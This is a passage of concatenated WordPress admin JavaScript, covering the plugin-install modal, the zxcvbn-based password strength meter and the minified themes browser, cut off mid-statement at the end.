		$( 'input#create-page' ).trigger( 'focus' );
	} );

	// Accordion handling in various new Privacy settings pages.
	$( '.privacy-settings-accordion' ).on( 'click', '.privacy-settings-accordion-trigger', function() {
		var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) );

		if ( isExpanded ) {
			$( this ).attr( 'aria-expanded', 'false' );
			$( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true );
		} else {
			$( this ).attr( 'aria-expanded', 'true' );
			$( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false );
		}
	} );
});
/*! This file is auto-generated */
jQuery(function(e){var o,i,n,a,l,r=e(),s=e(".upload-view-toggle"),t=e(".wrap"),d=e(document.body);function c(){var t;n=e(":tabbable",i),a=o.find("#TB_closeWindowButton"),l=n.last(),(t=a.add(l)).off("keydown.wp-plugin-details"),t.on("keydown.wp-plugin-details",function(t){9===(t=t).which&&(l[0]!==t.target||t.shiftKey?a[0]===t.target&&t.shiftKey&&(t.preventDefault(),l.trigger("focus")):(t.preventDefault(),a.trigger("focus")))})}window.tb_position=function(){var t=e(window).width(),i=e(window).height()-(792<t?60:20),n=792<t?772:t-20;return(o=e("#TB_window")).length&&(o.width(n).height(i),e("#TB_iframeContent").width(n).height(i),o.css({"margin-left":"-"+parseInt(n/2,10)+"px"}),void 0!==document.body.style.maxWidth)&&o.css({top:"30px","margin-top":"0"}),e("a.thickbox").each(function(){var t=e(this).attr("href");t&&(t=(t=t.replace(/&width=[0-9]+/g,"")).replace(/&height=[0-9]+/g,""),e(this).attr("href",t+"&width="+n+"&height="+i))})},e(window).on("resize",function(){tb_position()}),d.on("thickbox:iframe:loaded",o,function(){var t;o.hasClass("plugin-details-modal")&&(t=o.find("#TB_iframeContent"),i=t.contents().find("body"),c(),a.trigger("focus"),e("#plugin-information-tabs a",i).on("click",function(){c()}),i.on("keydown",function(t){27===t.which&&tb_remove()}))}).on("thickbox:removed",function(){r.trigger("focus")}),e(".wrap").on("click",".thickbox.open-plugin-details-modal",function(t){var i=e(this).data("title")?wp.i18n.sprintf(wp.i18n.__("Plugin: %s"),e(this).data("title")):wp.i18n.__("Plugin details");t.preventDefault(),t.stopPropagation(),r=e(this),tb_click.call(this),o.attr({role:"dialog","aria-label":wp.i18n.__("Plugin details")}).addClass("plugin-details-modal"),o.find("#TB_iframeContent").attr("title",i)}),e("#plugin-information-tabs a").on("click",function(t){var i=e(this).attr("name");t.preventDefault(),e("#plugin-information-tabs a.current").removeClass("current"),e(this).addClass("current"),"description"!==i&&e(window).width()<772?e("#plugin-information-content").find(".fyi").hide():e("#plugin-information-content").find(".fyi").show(),e("#section-holder div.section").hide(),e("#section-"+i).show()}),t.hasClass("plugin-install-tab-upload")||s.attr({role:"button","aria-expanded":"false"}).on("click",function(t){t.preventDefault(),d.toggleClass("show-upload-view"),s.attr("aria-expanded",d.hasClass("show-upload-view"))})});/**
 * @output wp-admin/js/password-strength-meter.js
 */

/* global zxcvbn */
window.wp = window.wp || {};

(function($){
	var __ = wp.i18n.__,
		sprintf = wp.i18n.sprintf;

	/**
	 * Contains functions to determine the password strength.
	 *
	 * @since 3.7.0
	 *
	 * @namespace
	 */
	wp.passwordStrength = {
		/**
		 * Determines the strength of a given password.
		 *
		 * Compares first password to the password confirmation.
		 *
		 * @since 3.7.0
		 *
		 * @param {string} password1       The subject password.
		 * @param {Array}  disallowedList An array of words that will lower the entropy of
		 *                                 the password.
		 * @param {string} password2       The password confirmation.
		 *
		 * @return {number} The password strength score.
		 */
		meter : function( password1, disallowedList, password2 ) {
			if ( ! Array.isArray( disallowedList ) )
				disallowedList = [ disallowedList.toString() ];

			if (password1 != password2 && password2 && password2.length > 0)
				return 5;

			if ( 'undefined' === typeof window.zxcvbn ) {
				// Password strength unknown.
				return -1;
			}

			var result = zxcvbn( password1, disallowedList );
			return result.score;
		},

		/**
		 * Builds an array of words that should be penalized.
		 *
		 * Certain words need to be penalized because it would lower the entropy of a
		 * password if they were used. The disallowedList is based on user input fields such
		 * as username, first name, email etc.
		 *
		 * @since 3.7.0
		 * @deprecated 5.5.0 Use {@see 'userInputDisallowedList()'} instead.
		 *
		 * @return {string[]} The array of words to be disallowed.
		 */
		userInputBlacklist : function() {
			window.console.log(
				sprintf(
					/* translators: 1: Deprecated function name, 2: Version number, 3: Alternative function name. */
					__( '%1$s is deprecated since version %2$s! Use %3$s instead. Please consider writing more inclusive code.' ),
					'wp.passwordStrength.userInputBlacklist()',
					'5.5.0',
					'wp.passwordStrength.userInputDisallowedList()'
				)
			);

			return wp.passwordStrength.userInputDisallowedList();
		},

		/**
		 * Builds an array of words that should be penalized.
		 *
		 * Certain words need to be penalized because it would lower the entropy of a
		 * password if they were used. The disallowed list is based on user input fields such
		 * as username, first name, email etc.
		 *
		 * @since 5.5.0
		 *
		 * @return {string[]} The array of words to be disallowed.
		 */
		userInputDisallowedList : function() {
			var i, userInputFieldsLength, rawValuesLength, currentField,
				rawValues       = [],
				disallowedList  = [],
				userInputFields = [ 'user_login', 'first_name', 'last_name', 'nickname', 'display_name', 'email', 'url', 'description', 'weblog_title', 'admin_email' ];

			// Collect all the strings we want to disallow.
			rawValues.push( document.title );
			rawValues.push( document.URL );

			userInputFieldsLength = userInputFields.length;
			for ( i = 0; i < userInputFieldsLength; i++ ) {
				currentField = $( '#' + userInputFields[ i ] );

				if ( 0 === currentField.length ) {
					continue;
				}

				rawValues.push( currentField[0].defaultValue );
				rawValues.push( currentField.val() );
			}

			/*
			 * Strip out non-alphanumeric characters and convert each word to an
			 * individual entry.
			 */
			rawValuesLength = rawValues.length;
			for ( i = 0; i < rawValuesLength; i++ ) {
				if ( rawValues[ i ] ) {
					disallowedList = disallowedList.concat( rawValues[ i ].replace( /\W/g, ' ' ).split( ' ' ) );
				}
			}

			/*
			 * Remove empty values, short words and duplicates. Short words are likely to
			 * cause many false positives.
			 */
			disallowedList = $.grep( disallowedList, function( value, key ) {
				if ( '' === value || 4 > value.length ) {
					return false;
				}

				return $.inArray( value, disallowedList ) === key;
			});

			return disallowedList;
		}
	};

	// Backward compatibility.

	/**
	 * Password strength meter function.
	 *
	 * @since 2.5.0
	 * @deprecated 3.7.0 Use wp.passwordStrength.meter instead.
	 *
	 * @global
	 *
	 * @type {wp.passwordStrength.meter}
	 */
	window.passwordStrength = wp.passwordStrength.meter;
})(jQuery);
/*! This file is auto-generated */
window.wp=window.wp||{},function(n){var o,a;function e(e,t){Backbone.history._hasPushState&&Backbone.Router.prototype.navigate.call(this,e,t)}(o=wp.themes=wp.themes||{}).data=_wpThemeSettings,a=o.data.l10n,o.isInstall=!!o.data.settings.isInstall,_.extend(o,{model:{},view:{},routes:{},router:{},template:wp.template}),o.Model=Backbone.Model.extend({initialize:function(){var e;this.get("slug")&&(-1!==_.indexOf(o.data.installedThemes,this.get("slug"))&&this.set({installed:!0}),o.data.activeTheme===this.get("slug"))&&this.set({active:!0}),this.set({id:this.get("slug")||this.get("id")}),this.has("sections")&&(e=this.get("sections").description,this.set({description:e}))}}),o.view.Appearance=wp.Backbone.View.extend({el:"#wpbody-content .wrap .theme-browser",window:n(window),page:0,initialize:function(e){_.bindAll(this,"scroller"),this.SearchView=e.SearchView||o.view.Search,this.window.on("scroll",_.throttle(this.scroller,300))},render:function(){this.view=new o.view.Themes({collection:this.collection,parent:this}),this.search(),this.$el.removeClass("search-loading"),this.view.render(),this.$el.empty().append(this.view.el).addClass("rendered")},searchContainer:n(".search-form"),search:function(){var e;1!==o.data.themes.length&&(e=new this.SearchView({collection:this.collection,parent:this}),(this.SearchView=e).render(),this.searchContainer.append(n.parseHTML('<label class="screen-reader-text" for="wp-filter-search-input">'+a.search+"</label>")).append(e.el).on("submit",function(e){e.preventDefault()}))},scroller:function(){var e=this,t=this.window.scrollTop()+e.window.height(),e=e.$el.offset().top+e.$el.outerHeight(!1)-e.window.height();Math.round(.9*e)<t&&this.trigger("theme:scroll")}}),o.Collection=Backbone.Collection.extend({model:o.Model,terms:"",doSearch:function(e){this.terms!==e&&(this.terms=e,0<this.terms.length&&this.search(this.terms),""===this.terms&&(this.reset(o.data.themes),n("body").removeClass("no-results")),this.trigger("themes:update"))},search:function(t){var i,e,s,r,a;this.reset(o.data.themes,{silent:!0}),t=(t=(t=t.trim()).replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")).replace(/ /g,")(?=.*"),i=new RegExp("^(?=.*"+t+").+","i"),0===(e=this.filter(function(e){return s=e.get("name").replace(/(<([^>]+)>)/gi,""),r=e.get("description").replace(/(<([^>]+)>)/gi,""),a=e.get("author").replace(/(<([^>]+)>)/gi,""),s=_.union([s,e.get("id"),r,a,e.get("tags")]),i.test(e.get("author"))&&2<t.length&&e.set("displayAuthor",!0),i.test(s)})).length?this.trigger("query:empty"):n("body").removeClass("no-results"),this.reset(e)},paginate:function(e){var t=this;return e=e||0,t=_(t.rest(20*e)),t=_(t.first(20))},count:!1,query:function(t){var e,i,s,r=this.queries,a=this;if(this.currentQuery.request=t,e=_.find(r,function(e){return _.isEqual(e.request,t)}),(i=_.has(t,"page"))||(this.currentQuery.page=1),e||i){if(i)return this.apiCall(t,i).done(function(e){a.add(e.themes),a.trigger("query:success"),a.loadingThemes=!1}).fail(function(){a.trigger("query:fail")});0===e.themes.length?a.trigger("query:empty"):n("body").removeClass("no-results"),_.isNumber(e.total)&&(this.count=e.total),this.reset(e.themes),e.total||(this.count=this.length),this.trigger("themes:update"),this.trigger("query:success",this.count)}else this.apiCall(t).done(function(e){e.themes&&(a.reset(e.themes),s=e.info.results,r.push({themes:e.themes,request:t,total:s})),a.trigger("themes:update"),a.trigger("query:success",s),e.themes&&0===e.themes.length&&a.trigger("query:empty")}).fail(function(){a.trigger("query:fail")})},queries:[],currentQuery:{page:1,request:{}},apiCall:function(e,t){return wp.ajax.send("query-themes",{data:{request:_.extend({per_page:100},e)},beforeSend:function(){t||n("body").addClass("loading-content").removeClass("no-results")}})},loadingThemes:!1}),o.view.Theme=wp.Backbone.View.extend({className:"theme",state:"grid",html:o.template("theme"),events:{click:o.isInstall?"preview":"expand",keydown:o.isInstall?"preview":"expand",touchend:o.isInstall?"preview":"expand",keyup:"addFocus",touchmove:"preventExpand","click .theme-install":"installTheme","click .update-message":"updateTheme"},touchDrag:!1,initialize:function(){this.model.on("change",this.render,this)},render:function(){var e=this.model.toJSON();this.$el.html(this.html(e)).attr("data-slug",e.id),this.activeTheme(),this.model.get("displayAuthor")&&this.$el.addClass("display-author")},activeTheme:function(){this.model.get("active")&&this.$el.addClass("active")},addFocus:function(){var e=n(":focus").hasClass("theme")?n(":focus"):n(":focus").parents(".theme");n(".theme.focus").removeClass("focus"),e.addClass("focus")},expand:function(e){if("keydown"!==(e=e||window.event).type||13===e.which||32===e.which)return!0===this.touchDrag?this.touchDrag=!1:void(n(e.target).is(".theme-actions a")||n(e.target).is(".theme-actions a, .update-message, .button-link, .notice-dismiss")||(o.focusedTheme=this.$el,this.trigger("theme:expand",this.model.cid)))},preventExpand:function(){this.touchDrag=!0},preview:function(e){var t,i,s=this;if(e=e||window.event,!0===this.touchDrag)return this.touchDrag=!1;n(e.target).not(".install-theme-preview").parents(".theme-actions").length||"keydown"===e.type&&13!==e.which&&32!==e.which||"keydown"===e.type&&13!==e.which&&n(":focus").hasClass("button")||(e.preventDefault(),e=e||window.event,o.focusedTheme=this.$el,o.preview=i=new o.view.Preview({model:this.model}),i.render(),this.setNavButtonsState(),1===this.model.collection.length?i.$el.addClass("no-navigation"):i.$el.removeClass("no-navigation"),n("div.wrap").append(i.el),this.listenTo(i,"theme:next",function(){if(t=s.model,_.isUndefined(s.current)||(t=s.current),s.current=s.model.collection.at(s.model.collection.indexOf(t)+1),_.isUndefined(s.current))return s.options.parent.parent.trigger("theme:end"),s.current=t;i.model=s.current,i.render(),this.setNavButtonsState(),n(".next-theme").trigger("focus")}).listenTo(i,"theme:previous",function(){t=s.model,0===s.model.collection.indexOf(s.current)||(_.isUndefined(s.current)||(t=s.current),s.current=s.model.collection.at(s.model.collection.indexOf(t)-1),_.isUndefined(s.current))||(i.model=s.current,i.render(),this.setNavButtonsState(),n(".previous-theme").trigger("focus"))}),this.listenTo(i,"preview:close",function(){s.current=s.model}))},setNavButtonsState:function(){var e=n(".theme-install-overlay"),t=_.isUndefined(this.current)?this.model:this.current,i=e.find(".previous-theme"),e=e.find(".next-theme");0===this.model.collection.indexOf(t)&&(i.addClass("disabled").prop("disabled",!0),e.trigger("focus")),_.isUndefined(this.model.collection.at(this.model.collection.indexOf(t)+1))&&(e.addClass("disabled").prop("disabled",!0),i.trigger("focus"))},installTheme:function(e){var i=this;e.preventDefault(),wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-install-success",function(e,t){i.model.get("id")===t.slug&&i.model.set({installed:!0}),t.blockTheme&&i.model.set({block_theme:!0})}),wp.updates.installTheme({slug:n(e.target).data("slug")})},updateTheme:function(e){var i=this;this.model.get("hasPackage")&&(e.preventDefault(),wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-update-success",function(e,t){i.model.off("change",i.render,i),i.model.get("id")===t.slug&&i.model.set({hasUpdate:!1,version:t.newVersion}),i.model.on("change",i.render,i)}),wp.updates.updateTheme({slug:n(e.target).parents("div.theme").first().data("slug")}))}}),o.view.Details=wp.Backbone.View.extend({className:"theme-overlay",events:{click:"collapse","click .delete-theme":"deleteTheme","click .left":"previousTheme","click .right":"nextTheme","click #update-theme":"updateTheme","click .toggle-auto-update":"autoupdateState"},html:o.template("theme-single"),render:function(){var e=this.model.toJSON();this.$el.html(this.html(e)),this.activeTheme(),this.navigation(),this.screenshotCheck(this.$el),this.containFocus(this.$el)},activeTheme:function(){this.$el.toggleClass("active",this.model.get("active"))},containFocus:function(s){_.delay(function(){n(".theme-overlay").trigger("focus")},100),s.on("keydown.wp-themes",function(e){var t=s.find(".theme-header button:not(.disabled)").first(),i=s.find(".theme-actions a:visible").last();9===e.which&&(t[0]===e.target&&e.shiftKey?(i.trigger("focus"),e.preventDefault()):i[0]!==e.target||e.shiftKey||(t.trigger("focus"),e.preventDefault()))})},collapse:function(e){var t,i=this;e=e||window.event,1!==o.data.themes.length&&(n(e.target).is(".theme-backdrop")||n(e.target).is(".close")||27===e.keyCode)&&(n("body").addClass("closing-overlay"),this.$el.fadeOut(130,function(){n("body").removeClass("closing-overlay"),i.closeOverlay(),t=document.body.scrollTop,o.router.navigate(o.router.baseUrl("")),document.body.scrollTop=t,o.focusedTheme&&o.focusedTheme.find(".more-details").trigger("focus")}))},navigation:function(){this.model.cid===this.model.collection.at(0).cid&&this.$el.find(".left").addClass("disabled").prop("disabled",!0),this.model.cid===this.model.collection.at(this.model.collection.length-1).cid&&this.$el.find(".right").addClass("disabled").prop("disabled",!0)},closeOverlay:function(){n("body").removeClass("modal-open"),this.remove(),this.unbind(),this.trigger("theme:collapse")},autoupdateState:function(){var s=this,r=function(e,t){var i;s.model.get("id")===t.asset&&((i=s.model.get("autoupdate")).enabled="enable"===t.state,s.model.set({autoupdate:i}),n(document).off("wp-auto-update-setting-changed",r))};n(document).on("wp-auto-update-setting-changed",r)},updateTheme:function(e){var i=this;e.preventDefault(),wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-update-success",function(e,t){i.model.get("id")===t.slug&&i.model.set({hasUpdate:!1,version:t.newVersion}),i.render()}),wp.updates.updateTheme({slug:n(e.target).data("slug")})},deleteTheme:function(e){var i=this,s=i.model.collection,r=o;e.preventDefault(),window.confirm(wp.themes.data.settings.confirmDelete)&&(wp.updates.maybeRequestFilesystemCredentials(e),n(document).one("wp-theme-delete-success",function(e,t){i.$el.find(".close").trigger("click"),n('[data-slug="'+t.slug+'"]').css({backgroundColor:"#faafaa"}).fadeOut(350,function(){n(this).remove(),r.data.themes=_.without(r.data.themes,_.findWhere(r.data.themes,{id:t.slug})),n(".wp-filter-search").val(""),s.doSearch(""),s.remove(i.model),s.trigger("themes:update")})}),wp.updates.deleteTheme({slug:this.model.get("id")}))},nextTheme:function(){return this.trigger("theme:next",this.model.cid),!1},previousTheme:function(){return this.trigger("theme:previous",this.model.cid),!1},screenshotCheck:function(e){var t=e.find(".screenshot img"),i=new Image;i.src=t.attr("src"),i.width&&i.width<=300&&e.addClass("small-screenshot")}}),o.view.Preview=o.view.Details.extend({className:"wp-full-overlay expanded",el:".theme-install-overlay",events:{"click .close-full-overlay":"close","click .collapse-sidebar":"collapse","click .devices button":"previewDevice","click .previous-theme":"previousTheme","click .next-theme":"nextTheme",keyup:"keyEvent","click .theme-install":"installTheme"},html:o.template("theme-preview"),render:function(){var e=this,t=this.model.toJSON(),i=n(document.body);i.attr("aria-busy","true"),this.$el.removeClass("iframe-ready").html(this.html(t)),(t=this.$el.data("current-preview-device"))&&e.tooglePreviewDeviceButtons(t),o.router.navigate(o.router.baseUrl(o.router.themePath+this.model.get("id")),{replace:!1}),this.$el.fadeIn(200,function(){i.addClass("theme-installer-active full-overlay-active")}),this.$el.find("iframe").one("load",function(){e.iframeLoaded()})},iframeLoaded:function(){this.$el.addClass("iframe-ready"),n(document.body).attr("aria-busy","false")},close:function(){return this.$el.fadeOut(200,function(){n("body").removeClass("theme-installer-active full-overlay-active"),o.focusedTheme&&o.focusedTheme.find(".more-details").trigger("focus")}).removeClass("iframe-ready"),o.router.selectedTab?(o.router.navigate(o.router.baseUrl("?browse="+o.router.selectedTab)),o.router.selectedTab=!1):o.router.navigate(o.router.baseUrl("")),this.trigger("preview:close"),this.undelegateEvents(),this.unbind(),!1},collapse:function(e){e=n(e.currentTarget);return"true"===e.attr("aria-expanded")?e.attr({"aria-expanded":"false","aria-label":a.expandSidebar}):e.attr({"aria-expanded":"true","aria-label":a.collapseSidebar}),this.$el.toggleClass("collapsed").toggleClass("expanded"),!1},previewDevice:function(e){e=n(e.currentTarget).data("device");this.$el.removeClass("preview-desktop preview-tablet preview-mobile").addClass("preview-"+e).data("current-preview-device",e),this.tooglePreviewDeviceButtons(e)},tooglePreviewDeviceButtons:function(e){var t=n(".wp-full-overlay-footer .devices");t.find("button").removeClass("active").attr("aria-pressed",!1),t.find("button.preview-"+e).addClass("active").attr("aria-pressed",!0)},keyEvent:function(e){27===e.keyCode&&(this.undelegateEvents(),this.close()),39===e.keyCode&&_.once(this.nextTheme()),37===e.keyCode&&this.previousTheme()},installTheme:function(e){var t=this,i=n(e.target);e.preventDefault(),i.hasClass("disabled")||(wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-install-success",function(){t.model.set({installed:!0})}),wp.updates.installTheme({slug:i.data("slug")}))}}),o.view.Themes=wp.Backbone.View.extend({className:"themes wp-clearfix",$overlay:n("div.theme-overlay"),index:0,count:n(".wrap .theme-count"),liveThemeCount:0,initialize:function(e){var t=this;this.parent=e.parent,this.setView("grid"),t.currentTheme(),this.listenTo(t.collection,"themes:update",function(){t.parent.page=0,t.currentTheme(),t.render(this)}),this.listenTo(t.collection,"query:success",function(e){_.isNumber(e)?(t.count.text(e),t.announceSearchResults(e)):(t.count.text(t.collection.length),t.announceSearchResults(t.collection.length))}),this.listenTo(t.collection,"query:empty",function(){n("body").addClass("no-results")}),this.listenTo(this.parent,"theme:scroll",function(){t.renderThemes(t.parent.page)}),this.listenTo(this.parent,"theme:close",function(){t.overlay&&t.overlay.closeOverlay()}),n("body").on("keyup",function(e){!t.overlay||n("#request-filesystem-credentials-dialog").is(":visible")||(39===e.keyCode&&t.overlay.nextTheme(),37===e.keyCode&&t.overlay.previousTheme(),27===e.keyCode&&t.overlay.collapse(e))})},render:function(){this.$el.empty(),1===o.data.themes.length&&(this.singleTheme=new o.view.Details({model:this.collection.models[0]}),this.singleTheme.render(),this.$el.addClass("single-theme"),this.$el.append(this.singleTheme.el)),0<this.options.collection.size()&&this.renderThemes(this.parent.page),this.liveThemeCount=this.collection.count||this.collection.length,this.count.text(this.liveThemeCount),o.isInstall||this.announceSearchResults(this.liveThemeCount)},renderThemes:function(e){var t=this;t.instance=t.collection.paginate(e),0===t.instance.size()?this.parent.trigger("theme:end"):(!o.isInstall&&1<=e&&n(".add-new-theme").remove(),t.instance.each(function(e){t.theme=new o.view.Theme({model:e,parent:t}),t.theme.render(),t.$el.append(t.theme.el),t.listenTo(t.theme,"theme:expand",t.expand,t)}),!o.isInstall&&o.data.settings.canInstall&&this.$el.append('<div class="theme add-new-theme"><a href="'+o.data.settings.installURI+'"><div class="theme-screenshot"><span></span></div><h2 class="theme-name">'+a.addNew+"</h2></a></div>"),this.parent.page++)},currentTheme:function(){var e=this.collection.findWhere({active:!0});e&&(this.collection.remove(e),this.collection.add(e,{at:0}))},setView:function(e){return e},expand:function(e){var t,i=this;this.model=i.collection.get(e),o.router.navigate(o.router.baseUrl(o.router.themePath+this.model.id)),this.setView("detail"),n("body").addClass("modal-open"),this.overlay=new o.view.Details({model:i.model}),this.overlay.render(),this.model.get("hasUpdate")&&(e=n('[data-slug="'+this.model.id+'"]'),t=n(this.overlay.el),e.find(".updating-message").length?(t.find(".notice-warning h3").remove(),t.find(".notice-warning").removeClass("notice-large").addClass("updating-message").find("p").text(wp.updates.l10n.updating)):e.find(".notice-error").length&&t.find(".notice-warning").remove()),this.$overlay.html(this.overlay.el),this.listenTo(this.overlay,"theme:next",function(){i.next([i.model.cid])}).listenTo(this.overlay,"theme:previous",function(){i.previous([i.model.cid])})},next:function(e){e=this.collection.get(e[0]),e=this.collection.at(this.collection.indexOf(e)+1);void 0!==e&&(this.overlay.closeOverlay(),this.theme.trigger("theme:expand",e.cid))},previous:function(e){e=this.collection.get(e[0]),e=this.collection.at(this.collection.indexOf(e)-1);void 0!==e&&(this.overlay.closeOverlay(),this.theme.trigger("theme:expand",e.cid))},announceSearchResults:function(e){0===e?wp.a11y.speak(a.noThemesFound):wp.a11y.speak(a.themesFound.replace("%d",e))}}),o.view.Search=wp.Backbone.View.extend({tagName:"input",className:"wp-filter-search",id:"wp-filter-search-input",searching:!1,attributes:{placeholder:a.searchPlaceholder,type:"search","aria-describedby":"live-search-desc"},events:{input:"search",keyup:"search",blur:"pushState"},initialize:function(e){this.parent=e.parent,this.listenTo(this.parent,"theme:close",function(){this.searching=!1})},search:function(e){"keyup"===e.type&&27===e.which&&(e.target.value=""),this.doSearch(e)},doSearch:function(e){var t={};this.collection.doSearch(e.target.value.replace(/\+/g," ")),this.searching&&13!==e.which?t.replace=!0:this.searching=!0,e.target.value?o.router.navigate(o.router.baseUrl(o.router.searchPath+e.target.value),t):o.router.navigate(o.router.baseUrl(""))},pushState:function(e){var t=o.router.baseUrl("");e.target.value&&(t=o.router.baseUrl(o.router.searchPath+encodeURIComponent(e.target.value))),this.searching=!1,o.router.navigate(t)}}),o.Router=Backbone.Router.extend({routes:{"themes.php?theme=:slug":"theme","themes.php?search=:query":"search","themes.php?s=:query":"search","themes.php":"themes","":"themes"},baseUrl:function(e){return"themes.php"+e},themePath:"?theme=",searchPath:"?search=",search:function(e){n(".wp-filter-search").val(e.replace(/\+/g," "))},themes:function(){n(".wp-filter-search").val("")},navigate:e}),o.Run={init:function(){this.themes=new o.Collection(o.data.themes),this.view=new o.view.Appearance({collection:this.themes}),this.render(),this.view.SearchView.doSearch=_.debounce(this.view.SearchView.doSearch,500)},render:function(){this.view.render(),this.routes(),Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({root:o.data.settings.adminUrl,pushState:!0,hashChange:!1})},routes:function(){var t=this;o.router=new o.Router,o.router.on("route:theme",function(e){t.view.view.expand(e)}),o.router.on("route:themes",function(){t.themes.doSearch(""),t.view.trigger("theme:close")}),o.router.on("route:search",function(){n(".wp-filter-search").trigger("keyup")}),this.extraRoutes()},extraRoutes:function(){return!1}},o.view.InstallerSearch=o.view.Search.extend({events:{input:"search",keyup:"search"},terms:"",search:function(e){("keyup"!==e.type||9!==e.which&&16!==e.which)&&(this.collection=this.options.parent.view.collection,"keyup"===e.type&&27===e.which&&(e.target.value=""),this.doSearch(e.target.value))},doSearch:function(e){var t={};this.terms!==e&&(this.terms=e,"author:"===(t.search=e).substring(0,7)&&(t.search="",t.author=e.slice(7)),"tag:"===e.substring(0,4)&&(t.search="",t.tag=[e.slice(4)]),n(".filter-links li > a.current").removeClass("current").removeAttr("aria-current"),n("body").removeClass("show-filters filters-applied show-favorites-form"),n(".drawer-toggle").attr("aria-expanded","false"),this.collection.query(t),o.router.navigate(o.router.baseUrl(o.router.searchPath+encodeURIComponent(e)),{replace:!0}))}}),o.view.Installer=o.view.Appearance.extend({el:"#wpbody-content .wrap",events:{"click .filter-links li > a":"onSort","click .theme-filter":"onFilter","click .drawer-toggle":"moreFilters","click .filter-drawer .apply-filters":"applyFilters",'click .filter-group [type="checkbox"]':"addFilter","click .filter-drawer .clear-filters":"clearFilters","click .edit-filters":"backToFilters","click .favorites-form-submit":"saveUsername","keyup #wporg-username-input":"saveUsername"},render:function(){var e=this;this.search(),this.uploader(),this.collection=new o.Collection,this.listenTo(this,"theme:end",function(){e.collection.loadingThemes||(e.collection.loadingThemes=!0,e.collection.currentQuery.page++,_.extend(e.collection.currentQuery.request,{page:e.collection.currentQuery.page}),e.collection.query(e.collection.currentQuery.request))}),this.listenTo(this.collection,"query:success",function(){n("body").removeClass("loading-content"),n(".theme-browser").find("div.error").remove()}),this.listenTo(this.collection,"query:fail",function(){n("body").removeClass("loading-content"),n(".theme-browser").find("div.error").remove(),n(".theme-browser").find("div.themes").before('<div class="error"><p>'+a.error+'</p><p><button class="button try-again">'+a.tryAgain+"</button></p></div>"),n(".theme-browser .error .try-again").on("click",function(e){e.preventDefault(),n("input.wp-filter-search").trigger("input")})}),this.view&&this.view.remove(),this.view=new o.view.Themes({collection:this.collection,parent:this}),this.page=0,this.$el.find(".themes").remove(),this.view.render(),this.$el.find(".theme-browser").append(this.view.el).addClass("rendered")},browse:function(e){"block-themes"===e?this.collection.query({tag:"full-site-editing"}):this.collection.query({browse:e})},onSort:function(e){var t=n(e.target),i=t.data("sort");e.preventDefault(),n("body").removeClass("filters-applied show-filters"),n(".drawer-toggle").attr("aria-expanded","false"),t.hasClass(this.activeClass)||(this.sort(i),o.router.navigate(o.router.baseUrl(o.router.browsePath+i)))},sort:function(e){this.clearSearch(),o.router.selectedTab=e,n(".filter-links li > a, .theme-filter").removeClass(this.activeClass).removeAttr("aria-current"),n('[data-sort="'+e+'"]').addClass(this.activeClass).attr("aria-current","page"),"favorites"===e?n("body").addClass("show-favorites-form"):n("body").removeClass("show-favorites-form"),this.browse(e)},onFilter:function(e){var e=n(e.target),t=e.data("filter");e.hasClass(this.activeClass)||(n(".filter-links li > a, .theme-section").removeClass(this.activeClass).removeAttr("aria-current"),e.addClass(this.activeClass).attr("aria-current","page"),t&&(t=_.union([t,this.filtersChecked()]),this.collection.query({tag:[t]})))},addFilter:function(){this.filtersChecked()},applyFilters:function(e){var t,i=this.filtersChecked(),s={tag:i},r=n(".filtered-by .tags");e&&e.preventDefault(),i?(n("body").addClass("filters-applied"),n(".filter-links li > a.current").removeClass("current").removeAttr("aria-current"),r.empty(),_.each(i,function(e){t=n('label[for="filter-id-'+e+'"]').text(),r.append('<span class="tag">'+t+"</span>")}),this.collection.query(s)):wp.a11y.speak(a.selectFeatureFilter)},saveUsername:function(e){var t=n("#wporg-username-input").val(),i=n("#wporg-username-nonce").val(),s={browse:"favorites",user:t},r=this;if(e&&e.preventDefault(),"keyup"!==e.type||13===e.which)return wp.ajax.send("save-wporg-username",{data:{_wpnonce:i,username:t},success:function(){r.collection.query(s)}})},filtersChecked:function(){var e=n(".filter-group").find(":checkbox"),t=[];return _.each(e.filter(":checked"),function(e){t.push(n(e).prop("value"))}),0===t.length?(n(".filter-drawer .apply-filters").find("span").text(""),n(".filter-drawer .clear-filters").hide(),n("body").removeClass("filters-applied"),!1):(n(".filter-drawer .apply-filters").find("span").text(t.length),n(".filter-drawer .clear-filters").css("display","inline-block"),t)},activeClass:"current",uploader:function(){var e=n(".upload-view-toggle"),t=n(document.body);e.on("click",function(){t.toggleClass("show-upload-view"),e.attr("aria-expanded",t.hasClass("show-upload-view"))})},moreFilters:function(e){var t=n("body"),i=n(".drawer-toggle");if(e.preventDefault(),t.hasClass("filters-applied"))return this.backToFilters();this.clearSearch(),o.router.navigate(o.router.baseUrl("")),t.toggleClass("show-filters"),i.attr("aria-expanded",t.hasClass("show-filters"))},clearFilters:function(e){var t=n(".filter-group").find(":checkbox"),i=this;e.preventDefault(),_.each(t.filter(":checked"),function(e){return n(e).prop("checked",!1),i.filtersChecked()})},backToFilters:function(e){e&&e.preventDefault(),n("body").removeClass("filters-applied")},clearSearch:function(){n("#wp-filter-search-input").val("")}}),o.InstallerRouter=Backbone.Router.extend({routes:{"theme-install.php?theme=:slug":"preview","theme-install.php?browse=:sort":"sort","theme-install.php?search=:query":"search","theme-install.php":"sort"},baseUrl:function(e){return"theme-install.php"+e},themePath:"?theme=",browsePath:"?browse=",searchPath:"?search=",search:function(e){n(".wp-filter-search").val(e.replace(/\+/g," "))},navigate:e}),o.RunInstaller={init:function(){this.view=new o.view.Installer({section:"popular",SearchView:o.view.InstallerSearch}),this.render(),this.view.SearchView.doSearch=_.debounce(this.view.SearchView.doSearch,500)},render:function(){this.view.render(),this.routes(),Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({root:o.data.settings.adminUrl,pushState:!0,hashChange:!1})},routes:function(){var t=this,i={};o.router=new 